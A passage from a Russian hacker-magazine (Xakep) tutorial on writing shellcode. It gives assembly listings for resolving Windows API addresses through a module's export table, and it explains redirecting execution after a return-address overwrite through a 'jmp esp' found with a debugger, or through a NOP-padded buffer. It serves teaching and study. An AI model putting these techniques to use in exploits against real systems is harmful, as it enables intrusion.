Пишем shell-код! Коваленко Дмитрий aka Ingrem Спецвыпуск Xakep, номер #045, стр. 045-014-3 mov ebx, [ebx] ; заносим в ebx смещение таблицы экспорта add ebx, eax ; коррекция на стаб mov edx, [ebx+20h]; смещение таблицы имен add edx, eax; коррекция смещения на стаб push ebx ; запомним указатель на таблицу экспорта xor ebx, ebx; ebx теперь стал счетчиком Теперь у нас есть указатель на таблицу имен. Поиск нужного имени организуем следующим образом: Листинг getapi2k_4: push esi ; сохраняем в стеке регистры, которые будут push ecx; изменятся при сравнении строк (esi содержит имя ; нужной нам функции, ecx – ее длину) mov edi, [edx] ; смещение очередного имени API-функции add edi, eax; коррекция смещения на стаб repe cmpsb; сравнение je getapi2k_3; нашли! pop ecx; не нашли – восстанавливаем регистры pop esi add edx, 4; в edx – следующий элемент таблицы имен inc ebx ; увеличить счетчик и на новый виток цикла jmp short getapi2k_4 Сейчас в ebx располагается индекс имени нужной API в таблице имен. Дальше делаем так: Листинг getapi2k_3: pop ecx; сбалансируем стек – вытолкнем из него esi и ecx, pop ecx; сохраненные во время сравнения строк pop ecx; последний pop заносит в ecx адрес таблицы экспорта ; (помните? мы его сохранили на стеке) shl ebx, 1; умножаем ebx на 2, это нам будет нужно в дальнейшем mov edx, [ecx+24h] ; заносим в edx адрес таблицы ординалов add edx, eax; корректируем его add edx, ebx; добавляем к нему смещение в ebx – получаем адрес ; номера API в таблице адресов mov edx, [edx]; заносим в edx номер API в таблице адресов and edx, 0FFFFh; (поскольку номер API – это WORD, обнулим старшее слово edx) В edx – номер в таблице адресов, в eax – адрес DOS стаба, в ecx – адрес export table. А вот теперь можем найти адрес интересующей нас API ;-): Листинг mov ebx, [ecx+1Ch]; заносим в ecx смещение таблицы адресов add ebx, eax; коррекция на стаб shl edx, 2; находим смещение адреса API в таблице адресов ; (множим edx на 4) add ebx, edx; находим этот адрес mov edx, [ebx] ; читаем его в ebx add edx, eax; коррекция на стаб ret; все! getapi2k endp Как видим, все это довольно сложно. Но, увы, такова специфика переносимого кода. Особенности передачи управления: большой буфер с nop'ами Поехали дальше. Допустим, мы можем подменить адрес возврата на свой или переписать указатель на какую-то функцию, которую вот-вот вызовут. Ну, а что дальше? Куда передать управление – какой адрес записать вместо настоящего? В качестве одного из вариантов довольно часто управление передают на инструкцию jmp esp, которую в процессе написания shell-кода находят либо в коде приложения, либо в какой-то системной библиотеке, загруженной в его адресное пространство. Как правило, сам поиск производят с помощью команды s отладчика Soft-Ice: s 10000000 L FFFFFFFF ff e4 ; (ff e4 – код инструкции) Это традиционный способ передачи управления на shell-код, и никаких трудностей здесь не возникает. Но в некоторых случаях при написании shell-кода управление выгодно передать какому-то другому коду, например jmp eax, где eax может указывать не на начало буфера, а выше – в середину или вообще в область памяти позади него :(. Что же делать в этом случае? Решение довольно простое: нужно погонять код уязвимой процедуры под отладкой в различных условиях и выяснить хотя бы пределы, в которых изменяется eax. |